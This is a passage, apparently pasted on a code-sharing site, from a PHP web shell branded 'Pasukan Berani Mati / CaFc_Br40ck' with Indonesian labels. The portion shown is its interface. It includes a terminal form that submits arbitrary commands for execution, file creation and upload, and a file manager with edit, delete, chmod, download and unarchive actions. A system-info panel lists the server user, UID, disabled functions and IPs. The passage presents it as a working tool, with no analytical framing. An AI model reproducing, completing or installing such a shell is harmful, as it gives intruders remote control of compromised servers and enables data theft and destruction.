  1030.        
  1031.         .edit-btn {
  1032.             background-color: #003300;
  1033.             color: #00ff00;
  1034.             border: 1px solid #00ff00;
  1035.         }
  1036.        
  1037.         .delete-btn {
  1038.             background-color: #330000;
  1039.             color: #ff0000;
  1040.             border: 1px solid #ff0000;
  1041.         }
  1042.        
  1043.         .rename-btn {
  1044.             background-color: #333300;
  1045.             color: #ffff00;
  1046.             border: 1px solid #ffff00;
  1047.         }
  1048.        
  1049.         .download-btn {
  1050.             background-color: #000033;
  1051.             color: #00ffff;
  1052.             border: 1px solid #00ffff;
  1053.         }
  1054.        
  1055.         .unarchive-btn {
  1056.             background-color: #006600;
  1057.             color: #00ff00;
  1058.             border: 1px solid #00ff00;
  1059.         }
  1060.        
  1061.         .modal {
  1062.             display: none;
  1063.             position: fixed;
  1064.             z-index: 1000;
  1065.             left: 0;
  1066.             top: 0;
  1067.             width: 100%;
  1068.             height: 100%;
  1069.             background-color: rgba(0, 0, 0, 0.8);
  1070.         }
  1071.        
  1072.         .modal-content {
  1073.             background-color: #000;
  1074.             margin: 10% auto;
  1075.             padding: 20px;
  1076.             border: 1px solid #00ff00;
  1077.             width: 80%;
  1078.             max-width: 600px;
  1079.             border-radius: 5px;
  1080.         }
  1081.        
  1082.         .close {
  1083.             color: #ff0000;
  1084.             float: right;
  1085.             font-size: 28px;
  1086.             font-weight: bold;
  1087.             cursor: pointer;
  1088.         }
  1089.        
  1090.         .close:hover {
  1091.             color: #ff6666;
  1092.         }
  1093.     </style>
  1094. </head>
  1095. <body>
  1096.     <div class="container">
  1097.         <div class="header">
  1098.             <h1>Pasukan Berani Mati</h1>
  1099.             <h2>CaFc_Br40ck</h2>
  1100.             <div class="header-info">
  1101.                 IP: <?php echo htmlspecialchars($lihat); ?> |
  1102.                 User: <?php echo htmlspecialchars($user); ?> |
  1103.                 Time: <?php echo date('Y-m-d H:i:s'); ?>
  1104.             </div>
  1105.         </div>
  1106.        
  1107.         <div class="nav">
  1108.             <a href="?terminal&dir=<?php echo urlencode($current_dir); ?>" class="nav-link">Terminal</a>
  1109.             <a href="?buatfile&dir=<?php echo urlencode($current_dir); ?>" class="nav-link">Buat File</a>
  1110.             <a href="?upload&dir=<?php echo urlencode($current_dir); ?>" class="nav-link">Upload File</a>
  1111.             <a href="?filemanager&dir=<?php echo urlencode($current_dir); ?>" class="nav-link">File Manager</a>
  1112.             <a href="?systeminfo&dir=<?php echo urlencode($current_dir); ?>" class="nav-link">System Info</a>
  1113.         </div>
  1114.        
  1115.         <div class="content">
  1116.             <?php if ($page === 'terminal'): ?>
  1117.                 <!-- Terminal Section -->
  1118.                 <div class="current-dir">
  1119.                     Directory: <?php echo htmlspecialchars($current_dir); ?>
  1120.                 </div>
  1121.                
  1122.                 <form method="POST" action="?terminal&dir=<?php echo urlencode($current_dir); ?>&do=execute" class="terminal-form">
  1123.                     <input type="text" name="cmd" class="cmd-input" placeholder="Masukkan perintah atau path file..." required>
  1124.                     <button type="submit" class="btn">Execute</button>
  1125.                 </form>
  1126.                
  1127.                 <?php
  1128.                 // Tampilkan output terakhir jika ada
  1129.                 if (isset($_SESSION['cmd_output'])) {
  1130.                     echo '<div class="output">';
  1131.                     echo $_SESSION['cmd_output'] ? $_SESSION['cmd_output'] : "Perintah berhasil dijalankan (tidak ada output).";
  1132.                     echo '</div>';
  1133.                    
  1134.                     // Clear session output
  1135.                     unset($_SESSION['cmd_output']);
  1136.                 }
  1137.                 ?>
  1138.                
  1139.             <?php elseif ($page === 'buatfile'): ?>
  1140.                 <!-- Buat File Section -->
  1141.                 <div class="current-dir">
  1142.                     Directory: <?php echo htmlspecialchars($current_dir); ?>
  1143.                 </div>
  1144.                
  1145.                 <form method="POST" action="?buatfile&dir=<?php echo urlencode($current_dir); ?>&do=createfile" class="file-form">
  1146.                     <div class="form-group">
  1147.                         <label class="form-label">Nama File:</label>
  1148.                         <input type="text" name="namafile" class="form-input" placeholder="contoh: test.txt" required>
  1149.                     </div>
  1150.                    
  1151.                     <div class="form-group">
  1152.                         <label class="form-label">Isi File:</label>
  1153.                         <textarea name="isifile" class="form-input textarea" placeholder="Masukkan isi file..."></textarea>
  1154.                     </div>
  1155.                    
  1156.                     <button type="submit" class="btn">Buat File</button>
  1157.                 </form>
  1158.                
  1159.             <?php elseif ($page === 'upload'): ?>
  1160.                 <!-- Upload File Section -->
  1161.                 <div class="current-dir">
  1162.                     Directory: <?php echo htmlspecialchars($current_dir); ?>
  1163.                 </div>
  1164.                
  1165.                 <div class="uname-info">
  1166.                     <?php echo htmlspecialchars(php_uname()); ?>
  1167.                 </div>
  1168.                
  1169.                 <form action="?upload&dir=<?php echo urlencode($current_dir); ?>&do=upload" method="post" enctype="multipart/form-data" class="file-form">
  1170.                     <div class="form-group">
  1171.                         <label class="form-label">Pilih File:</label>
  1172.                         <input type="file" name="file" class="form-input" required>
  1173.                     </div>
  1174.                    
  1175.                     <button type="submit" class="btn">Upload File</button>
  1176.                 </form>
  1177.                
  1178.             <?php elseif ($page === 'filemanager'): ?>
  1179.                 <!-- File Manager Section -->
  1180.                 <div class="file-manager-nav">
  1181.                     <div class="breadcrumb">
  1182.                         <a href="?filemanager&home=1" class="breadcrumb-item" title="Go to Home Directory">🏠</a>
  1183.                         <span class="breadcrumb-separator">/</span>
  1184.                         <?php
  1185.                         // Breadcrumb navigation
  1186.                         $dir_parts = explode('/', $current_dir);
  1187.                         $current_path = '';
  1188.                         foreach ($dir_parts as $part) {
  1189.                             if (!empty($part)) {
  1190.                                 $current_path .= '/' . $part;
  1191.                                 echo '<a href="?filemanager&dir=' . urlencode($current_path) . '" class="breadcrumb-item">' . htmlspecialchars($part) . '</a>';
  1192.                                 echo '<span class="breadcrumb-separator">/</span>';
  1193.                             }
  1194.                         }
  1195.                         ?>
  1196.                     </div>
  1197.                    
  1198.                     <div class="current-dir">
  1199.                         Current Directory: <?php echo htmlspecialchars($current_dir); ?>
  1200.                     </div>
  1201.                    
  1202.                     <div class="file-manager-actions">
  1203.                         <!-- Home Button -->
  1204.                         <a href="?filemanager&home=1" class="btn btn-home" title="Go to Home Directory">🏠 Home</a>
  1205.                        
  1206.                         <!-- Create Directory Form -->
  1207.                         <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=mkdir" style="display: inline;">
  1208.                             <input type="text" name="dir_name" placeholder="Nama direktori baru" required style="width: 200px;">
  1209.                             <button type="submit" class="btn btn-info">Buat Direktori</button>
  1210.                         </form>
  1211.                        
  1212.                         <!-- Upload File Link -->
  1213.                         <a href="?upload&dir=<?php echo urlencode($current_dir); ?>" class="btn">Upload File</a>
  1214.                        
  1215.                         <!-- Create File Link -->
  1216.                         <a href="?buatfile&dir=<?php echo urlencode($current_dir); ?>" class="btn">Buat File Baru</a>
  1217.                        
  1218.                         <!-- Refresh -->
  1219.                         <a href="?filemanager&dir=<?php echo urlencode($current_dir); ?>" class="btn">Refresh</a>
  1220.                        
  1221.                         <!-- Go Up -->
  1222.                         <?php if ($current_dir != '/' && $current_dir != '.'): ?>
  1223.                             <?php $parent_dir = dirname($current_dir); ?>
  1224.                             <a href="?filemanager&dir=<?php echo urlencode($parent_dir); ?>" class="btn btn-warning">↑ Parent Directory</a>
  1225.                         <?php endif; ?>
  1226.                     </div>
  1227.                 </div>
  1228.                
  1229.                 <?php
  1230.                 // List files and directories - SORTIR: folder dulu, kemudian file
  1231.                 $files = @scandir($current_dir);
  1232.                 if ($files !== false) {
  1233.                     // Pisahkan folder dan file
  1234.                     $folders = [];
  1235.                     $file_items = [];
  1236.                    
  1237.                     foreach ($files as $file) {
  1238.                         if ($file == '.' || $file == '..') continue;
  1239.                        
  1240.                         $file_path = $current_dir . '/' . $file;
  1241.                         if (@is_dir($file_path)) {
  1242.                             $folders[] = $file;
  1243.                         } else {
  1244.                             $file_items[] = $file;
  1245.                         }
  1246.                     }
  1247.                    
  1248.                     // Urutkan alfabet
  1249.                     natcasesort($folders);
  1250.                     natcasesort($file_items);
  1251.                    
  1252.                     // Gabungkan: folder dulu, kemudian file
  1253.                     $sorted_files = array_merge($folders, $file_items);
  1254.                    
  1255.                     echo '<table class="file-table">';
  1256.                     echo '<thead>';
  1257.                     echo '<tr>';
  1258.                     echo '<th>Name</th>';
  1259.                     echo '<th>Size</th>';
  1260.                     echo '<th>Permission</th>';
  1261.                     echo '<th>Modified</th>';
  1262.                     echo '<th>Actions</th>';
  1263.                     echo '</tr>';
  1264.                     echo '</thead>';
  1265.                     echo '<tbody>';
  1266.                    
  1267.                     // Show parent directory link
  1268.                     if ($current_dir != '/' && $current_dir != '.') {
  1269.                         echo '<tr>';
  1270.                         echo '<td colspan="5">';
  1271.                         echo '<a href="?filemanager&dir=' . urlencode(dirname($current_dir)) . '">';
  1272.                         echo '← Parent Directory';
  1273.                         echo '</a>';
  1274.                         echo '</td>';
  1275.                         echo '</tr>';
  1276.                     }
  1277.                    
  1278.                     foreach ($sorted_files as $file) {
  1279.                         $file_path = $current_dir . '/' . $file;
  1280.                         $is_dir = @is_dir($file_path);
  1281.                         $file_size = $is_dir ? '-' : format_size(@filesize($file_path));
  1282.                         $modified = @date('Y-m-d H:i:s', @filemtime($file_path));
  1283.                         $permission = get_permission_octal($file_path);
  1284.                        
  1285.                         // Tentukan class permission berdasarkan nilai
  1286.                         $permission_class = 'permission-badge';
  1287.                         if ($permission == '0755' || $permission == '0775' || $permission == '0777') {
  1288.                             $permission_class .= ' permission-755';
  1289.                         } elseif ($permission == '0644' || $permission == '0664' || $permission == '0666') {
  1290.                             $permission_class .= ' permission-644';
  1291.                         } elseif ($permission == '0777') {
  1292.                             $permission_class .= ' permission-777';
  1293.                         }
  1294.                        
  1295.                         // Cek apakah file archive
  1296.                         $is_archive = false;
  1297.                         $archive_extensions = ['zip', 'tar', 'gz', 'tgz', 'bz2', 'rar', '7z'];
  1298.                         if (!$is_dir) {
  1299.                             $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
  1300.                             $is_archive = in_array($ext, $archive_extensions);
  1301.                         }
  1302.                        
  1303.                         echo '<tr>';
  1304.                         echo '<td>';
  1305.                         if ($is_dir) {
  1306.                             echo '<span class="file-icon dir-icon">📁</span>';
  1307.                             echo '<a href="?filemanager&dir=' . urlencode($file_path) . '" class="file-name">' . htmlspecialchars($file) . '/</a>';
  1308.                         } else {
  1309.                             // Determine icon based on file extension
  1310.                             $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
  1311.                             if ($is_archive) {
  1312.                                 echo '<span class="file-icon archive-icon">📦</span>';
  1313.                             } elseif (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) {
  1314.                                 echo '<span class="file-icon">🖼️</span>';
  1315.                             } elseif (in_array($ext, ['php', 'js', 'html', 'css'])) {
  1316.                                 echo '<span class="file-icon">📝</span>';
  1317.                             } else {
  1318.                                 echo '<span class="file-icon">📄</span>';
  1319.                             }
  1320.                             echo '<a href="?terminal&dir=' . urlencode($current_dir) . '&do=execute&cmd=cat%20' . urlencode($file_path) . '" class="file-name">' . htmlspecialchars($file) . '</a>';
  1321.                         }
  1322.                         echo '</td>';
  1323.                         echo '<td>' . $file_size . '</td>';
  1324.                         echo '<td><span class="' . $permission_class . '">' . $permission . '</span></td>';
  1325.                         echo '<td>' . $modified . '</td>';
  1326.                         echo '<td>';
  1327.                         echo '<div class="file-actions">';
  1328.                        
  1329.                         if (!$is_dir) {
  1330.                             // View file
  1331.                             echo '<a href="?filemanager&dir=' . urlencode($current_dir) . '&do=view&file=' . urlencode($file) . '" target="_blank" class="action-btn edit-btn">View</a>';
  1332.                            
  1333.                             // Download file
  1334.                             echo '<a href="?filemanager&dir=' . urlencode($current_dir) . '&do=download&file=' . urlencode($file) . '" class="action-btn download-btn">Download</a>';
  1335.                            
  1336.                             // Edit file (hanya untuk file text)
  1337.                             $text_extensions = ['txt', 'php', 'js', 'html', 'css', 'json', 'xml', 'sql', 'md'];
  1338.                             if (in_array($ext, $text_extensions)) {
  1339.                                 echo '<a href="javascript:void(0)" onclick="editFile(\'' . htmlspecialchars($file, ENT_QUOTES) . '\')" class="action-btn edit-btn">Edit</a>';
  1340.                             }
  1341.                            
  1342.                             // Unarchive untuk file archive
  1343.                             if ($is_archive) {
  1344.                                 echo '<a href="javascript:void(0)" onclick="unarchiveFile(\'' . htmlspecialchars($file, ENT_QUOTES) . '\')" class="action-btn unarchive-btn">Unarchive</a>';
  1345.                             }
  1346.                         }
  1347.                        
  1348.                         // Rename
  1349.                         echo '<a href="javascript:void(0)" onclick="renameItem(\'' . htmlspecialchars($file, ENT_QUOTES) . '\')" class="action-btn rename-btn">Rename</a>';
  1350.                        
  1351.                         // Change permissions
  1352.                         echo '<a href="javascript:void(0)" onclick="chmodItem(\'' . htmlspecialchars($file, ENT_QUOTES) . '\', \'' . $permission . '\')" class="action-btn">Chmod</a>';
  1353.                        
  1354.                         // Copy
  1355.                         echo '<a href="javascript:void(0)" onclick="copyItem(\'' . htmlspecialchars($file, ENT_QUOTES) . '\')" class="action-btn">Copy</a>';
  1356.                        
  1357.                         // Delete
  1358.                         echo '<a href="?filemanager&dir=' . urlencode($current_dir) . '&do=delete&file=' . urlencode($file) . '" class="action-btn delete-btn" onclick="return confirm(\'Yakin ingin menghapus ' . htmlspecialchars($file) . '?\')">Delete</a>';
  1359.                        
  1360.                         echo '</div>';
  1361.                         echo '</td>';
  1362.                         echo '</tr>';
  1363.                     }
  1364.                    
  1365.                     echo '</tbody>';
  1366.                     echo '</table>';
  1367.                    
  1368.                     // Show empty message if directory is empty
  1369.                     if (count($sorted_files) == 0) {
  1370.                         echo '<div class="message info">Direktori ini kosong.</div>';
  1371.                     }
  1372.                 } else {
  1373.                     echo '<div class="message error">Tidak dapat membaca direktori.</div>';
  1374.                 }
  1375.                 ?>
  1376.                
  1377.                 <!-- Edit File Modal -->
  1378.                 <div id="editModal" class="modal">
  1379.                     <div class="modal-content">
  1380.                         <span class="close" onclick="closeModal('editModal')">&times;</span>
  1381.                         <h3>Edit File</h3>
  1382.                         <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=edit" id="editForm">
  1383.                             <input type="hidden" name="file" id="editFileName">
  1384.                             <div class="form-group">
  1385.                                 <label class="form-label">Content:</label>
  1386.                                 <textarea name="content" id="editFileContent" class="form-input textarea" rows="20"></textarea>
  1387.                             </div>
  1388.                             <button type="submit" class="btn">Save Changes</button>
  1389.                             <button type="button" class="btn btn-warning" onclick="closeModal('editModal')">Cancel</button>
  1390.                         </form>
  1391.                     </div>
  1392.                 </div>
  1393.                
  1394.                 <!-- Rename Modal -->
  1395.                 <div id="renameModal" class="modal">
  1396.                     <div class="modal-content">
  1397.                         <span class="close" onclick="closeModal('renameModal')">&times;</span>
  1398.                         <h3>Rename Item</h3>
  1399.                         <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=rename" id="renameForm">
  1400.                             <input type="hidden" name="file" id="renameOldName">
  1401.                             <div class="form-group">
  1402.                                 <label class="form-label">New Name:</label>
  1403.                                 <input type="text" name="new_name" id="renameNewName" class="form-input" required>
  1404.                             </div>
  1405.                             <button type="submit" class="btn">Rename</button>
  1406.                             <button type="button" class="btn btn-warning" onclick="closeModal('renameModal')">Cancel</button>
  1407.                         </form>
  1408.                     </div>
  1409.                 </div>
  1410.                
  1411.                 <!-- Chmod Modal -->
  1412.                 <div id="chmodModal" class="modal">
  1413.                     <div class="modal-content">
  1414.                         <span class="close" onclick="closeModal('chmodModal')">&times;</span>
  1415.                         <h3>Change Permissions</h3>
  1416.                         <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=chmod" id="chmodForm">
  1417.                             <input type="hidden" name="file" id="chmodFileName">
  1418.                             <div class="form-group">
  1419.                                 <label class="form-label">Permissions (octal):</label>
  1420.                                 <input type="text" name="mode" id="chmodMode" class="form-input" required>
  1421.                                 <small style="color: #00aa00;">Contoh: 0755 (rwxr-xr-x), 0644 (rw-r--r--), 0777 (rwxrwxrwx)</small>
  1422.                             </div>
  1423.                             <button type="submit" class="btn">Change</button>
  1424.                             <button type="button" class="btn btn-warning" onclick="closeModal('chmodModal')">Cancel</button>
  1425.                         </form>
  1426.                     </div>
  1427.                 </div>
  1428.                
  1429.                 <!-- Copy Modal -->
  1430.                 <div id="copyModal" class="modal">
  1431.                     <div class="modal-content">
  1432.                         <span class="close" onclick="closeModal('copyModal')">&times;</span>
  1433.                         <h3>Copy Item</h3>
  1434.                         <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=copy" id="copyForm">
  1435.                             <input type="hidden" name="file" id="copySource">
  1436.                             <div class="form-group">
  1437.                                 <label class="form-label">Destination Name:</label>
  1438.                                 <input type="text" name="dest_name" id="copyDestination" class="form-input" required>
  1439.                             </div>
  1440.                             <button type="submit" class="btn">Copy</button>
  1441.                             <button type="button" class="btn btn-warning" onclick="closeModal('copyModal')">Cancel</button>
  1442.                         </form>
  1443.                     </div>
  1444.                 </div>
  1445.                
  1446.                 <!-- Unarchive Modal -->
  1447.                 <div id="unarchiveModal" class="modal">
  1448.                     <div class="modal-content">
  1449.                         <span class="close" onclick="closeModal('unarchiveModal')">&times;</span>
  1450.                         <h3>Unarchive File</h3>
  1451.                         <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=unarchive" id="unarchiveForm">
  1452.                             <input type="hidden" name="file" id="unarchiveFileName">
  1453.                             <div class="form-group">
  1454.                                 <label class="form-label">Ekstrak file archive?</label>
  1455.                                 <p style="color: #00ff00; margin: 10px 0;">File akan diekstrak ke direktori saat ini.</p>
  1456.                             </div>
  1457.                             <button type="submit" class="btn btn-success">Unarchive</button>
  1458.                             <button type="button" class="btn btn-warning" onclick="closeModal('unarchiveModal')">Cancel</button>
  1459.                         </form>
  1460.                     </div>
  1461.                 </div>
  1462.                
  1463.                 <script>
  1464.                 // File Manager JavaScript Functions
  1465.                 function editFile(fileName) {
  1466.                     fetch('?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=view&file=' + encodeURIComponent(fileName))
  1467.                         .then(response => response.text())
  1468.                         .then(data => {
  1469.                             document.getElementById('editFileName').value = fileName;
  1470.                             document.getElementById('editFileContent').value = data;
  1471.                             document.getElementById('editModal').style.display = 'block';
  1472.                         })
  1473.                         .catch(error => {
  1474.                             alert('Error loading file: ' + error);
  1475.                         });
  1476.                 }
  1477.                
  1478.                 function renameItem(fileName) {
  1479.                     document.getElementById('renameOldName').value = fileName;
  1480.                     document.getElementById('renameNewName').value = fileName;
  1481.                     document.getElementById('renameModal').style.display = 'block';
  1482.                 }
  1483.                
  1484.                 function chmodItem(fileName, currentPermission) {
  1485.                     document.getElementById('chmodFileName').value = fileName;
  1486.                     document.getElementById('chmodMode').value = currentPermission;
  1487.                     document.getElementById('chmodModal').style.display = 'block';
  1488.                 }
  1489.                
  1490.                 function copyItem(fileName) {
  1491.                     document.getElementById('copySource').value = fileName;
  1492.                     document.getElementById('copyDestination').value = 'copy_of_' + fileName;
  1493.                     document.getElementById('copyModal').style.display = 'block';
  1494.                 }
  1495.                
  1496.                 function unarchiveFile(fileName) {
  1497.                     document.getElementById('unarchiveFileName').value = fileName;
  1498.                     document.getElementById('unarchiveModal').style.display = 'block';
  1499.                 }
  1500.                
  1501.                 function closeModal(modalId) {
  1502.                     document.getElementById(modalId).style.display = 'none';
  1503.                 }
  1504.                
  1505.                 // Close modal when clicking outside
  1506.                 window.onclick = function(event) {
  1507.                     if (event.target.className === 'modal') {
  1508.                         event.target.style.display = 'none';
  1509.                     }
  1510.                 }
  1511.                 </script>
  1512.                
  1513.             <?php elseif ($page === 'systeminfo'): ?>
  1514.                 <!-- System Info Section -->
  1515.                 <div class="current-dir">
  1516.                     Directory: <?php echo htmlspecialchars($current_dir); ?>
  1517.                 </div>
  1518.                
  1519.                 <div class="info-grid">
  1520.                     <div class="info-box">
  1521.                         <div class="info-title">System Information</div>
  1522.                         <div class="info-content">
  1523.                             OS: <?php echo htmlspecialchars(PHP_OS); ?><br>
  1524.                             PHP Version: <?php echo htmlspecialchars(PHP_VERSION); ?><br>
  1525.                             Server Software: <?php echo htmlspecialchars($software); ?><br>
  1526.                             Server IP: <?php echo htmlspecialchars($server_ip); ?><br>
  1527.                             Your IP: <?php echo htmlspecialchars($lihat); ?>
  1528.                         </div>
  1529.                     </div>
  1530.                    
  1531.                     <div class="info-box">
  1532.                         <div class="info-title">User Information</div>
  1533.                         <div class="info-content">
  1534.                             User: <?php echo htmlspecialchars($user); ?> (<?php echo htmlspecialchars($uid); ?>)<br>
  1535.                             Group: <?php echo htmlspecialchars($group); ?> (<?php echo htmlspecialchars($gid); ?>)<br>
  1536.                             Safe Mode: <?php echo $sm; ?><br>
  1537.                             Disabled Functions: <?php echo htmlspecialchars($disfc); ?>
  1538.                         </div>
  1539.                     </div>
  1540.                    
  1541.                     <div class="info-box">
  1542.                         <div class="info-title">Server Status</div>
  1543.                         <div class="info-content">
  1544.                             Time: <?php echo date('Y-m-d H:i:s'); ?><br>
  1545.                             Max Execution Time: <?php echo @ini_get('max_execution_time'); ?>s<br>
  1546.                             Memory Limit: <?php echo @ini_get('memory_limit'); ?><br>
  1547.                             Upload Max Filesize: <?php echo @ini_get('upload_max_filesize'); ?><br>
  1548.                             Post Max Size: <?php echo @ini_get('post_max_size'); ?>
  1549.                         </div>
  1550.                     </div>
  1551.                 </div>
  1552.                
  1553.                 <div class="output">
  1554.                     <?php echo htmlspecialchars($sys); ?>
  1555.                 </div>
  1556.                
  1557.             <?php endif; ?>
  1558.         </div>
  1559.     </div>
  1560.    
  1561.     <?php if (!empty($popup_message)): ?>
  1562.     <!-- Popup Notification -->
  1563.     <div id="popupNotification" class="popup-notification popup-<?php echo $popup_type; ?>">
  1564.         <div class="popup-close" onclick="closePopup()">&times;</div>
  1565.         <div class="popup-content">
  1566.             <?php echo htmlspecialchars($popup_message); ?>
  1567.         </div>
  1568.     </div>
  1569.     <script>
  1570.         // Fungsi untuk close popup
  1571.         function closePopup() {
  1572.             var popup = document.getElementById('popupNotification');
  1573.             if (popup) {
  1574.                 popup.style.display = 'none';
  1575.             }
  1576.         }
  1577.        
  1578.         // Auto close popup setelah 5 detik
  1579.         setTimeout(function() {
  1580.             closePopup();
  1581.         }, 5000);
  1582.        
  1583.         // Close popup ketika klik di luar
  1584.         document.addEventListener('click', function(event) {
  1585.             var popup = document.getElementById('popupNotification');
  1586.             if (popup && !popup.contains(event.target)) {
  1587.                 closePopup();
  1588.             }
  1589.         });
  1590.     </script>
  1591.     <?php endif; ?>
  1592.    
  1593.     <script>
  1594.         // Fungsi untuk auto-focus pada input saat halaman terminal dimuat
  1595.         document.addEventListener('DOMContentLoaded', function() {
  1596.             <?php if ($page === 'terminal'): ?>
  1597.                 var cmdInput = document.querySelector('input[name="cmd"]');
  1598.                 if(cmdInput) {
  1599.                     cmdInput.focus();
  1600.                 }
  1601.             <?php elseif ($page === 'buatfile'): ?>
  1602.                 var fileInput = document.querySelector('input[name="namafile"]');
  1603.                 if(fileInput) {
  1604.                     fileInput.focus();
  1605.                 }
  1606.             <?php endif; ?>
  1607.         });
  1608.     </script>
  1609. </body>
  1610. </html>
Advertisement
Add Comment
Please, Sign In to add comment